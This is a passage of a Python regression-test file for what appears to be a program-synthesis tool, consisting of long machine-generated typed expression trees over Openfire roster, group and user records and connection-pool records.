'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'backendId').with_type(TLong()))).with_type(TBag(TLong()))).with_type(TBool()), 'and', EUnaryOp('unique', EMap(EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), ELambda(EVar('_var28803404').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), ETuple((EGetField(EGetField(EVar('_var28803404').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'user').with_type(TString()), ECall('jidToUsername', (EGetField(EGetField(EVar('_var28803404').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'target').with_type(TNative('org.xmpp.packet.JID')),)).with_type(TString()))).with_type(TTuple((TString(), TString()))))).with_type(TBag(TTuple((TString(), TString()))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EBinOp(EUnaryOp('unique', EMap(EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('_var28803469').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EGetField(EGetField(EVar('_var28803469').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'name').with_type(TString()))).with_type(TBag(TString()))).with_type(TBool()), 'and', EUnaryOp('empty', EFilter(EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))))), ELambda(EVar('_var28803487').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), EUnaryOp('not', EBinOp(EGetField(EGetField(ETupleGet(EVar('_var28803487').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'rosterMode').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), '==', EEnumEntry('ONLY_GROUP').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EUnaryOp('empty', EFilter(EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))))), ELambda(EVar('_var28803487').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), EBinOp(EUnaryOp('not', EBinOp(ETupleGet(EVar('_var28803487').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(ETupleGet(EVar('_var28803487').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), 1).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))))).with_type(TBool()), 'and', EUnaryOp('empty', EFilter(EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), ELambda(EVar('_var28803539').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), EBinOp(EUnaryOp('not', EBinOp(ETupleGet(EVar('_var28803539').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(ETupleGet(EVar('_var28803539').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 1).with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'in', EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EBinOp(EUnaryOp('empty', EFilter(EVar('admins').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), ELambda(EVar('_var28803539').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), EBinOp(EUnaryOp('not', EBinOp(ETupleGet(EVar('_var28803539').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(ETupleGet(EVar('_var28803539').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 1).with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'in', EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool()), 'and', EBinOp(EUnaryOp('unique', EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EBinOp(EUnaryOp('unique', EVar('admins').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool()), 'and', EBinOp(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EBinOp(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'in', EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TBool()), 'and', EUnaryOp('not', EBinOp(ETuple((EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 'in', EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('unique', EBinOp(EStateVar(EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), '+', ESingleton(ETuple((EMapGet(EStateVar(EMakeMap2(EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('_var28803469').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('_var28803469').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TMap(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TMap(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), EVar('_var28803469').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))), EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))))), EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), EVar('admins').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), EVar('_var28803469').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))]), collection_depth=2, validate_model=True)
def test_regression14(self):
satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EBinOp(EUnaryOp('unique', EVar('conns').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('reqs').with_type(TBag(THandle('Request', TRecord((('rq_time', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('GetConnectionCallback')))))))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EUnaryOp('unique', EVar('_var685').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('_var690').with_type(TBag(THandle('Request', TRecord((('rq_time', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('GetConnectionCallback')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EMap(EVar('conns').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))), ELambda(EVar('_var534').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))), ECond(EBinOp(EVar('_var534').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))), '==', EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))).with_type(TBool()), EVar('_var534').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))), EVar('_var534').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))).with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))))).with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))), '==', EMap(EVar('_var685').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))), ELambda(EVar('_var534').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))), ECond(EBinOp(EVar('_var534').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))), '==', EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))).with_type(TBool()), EVar('_var534').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 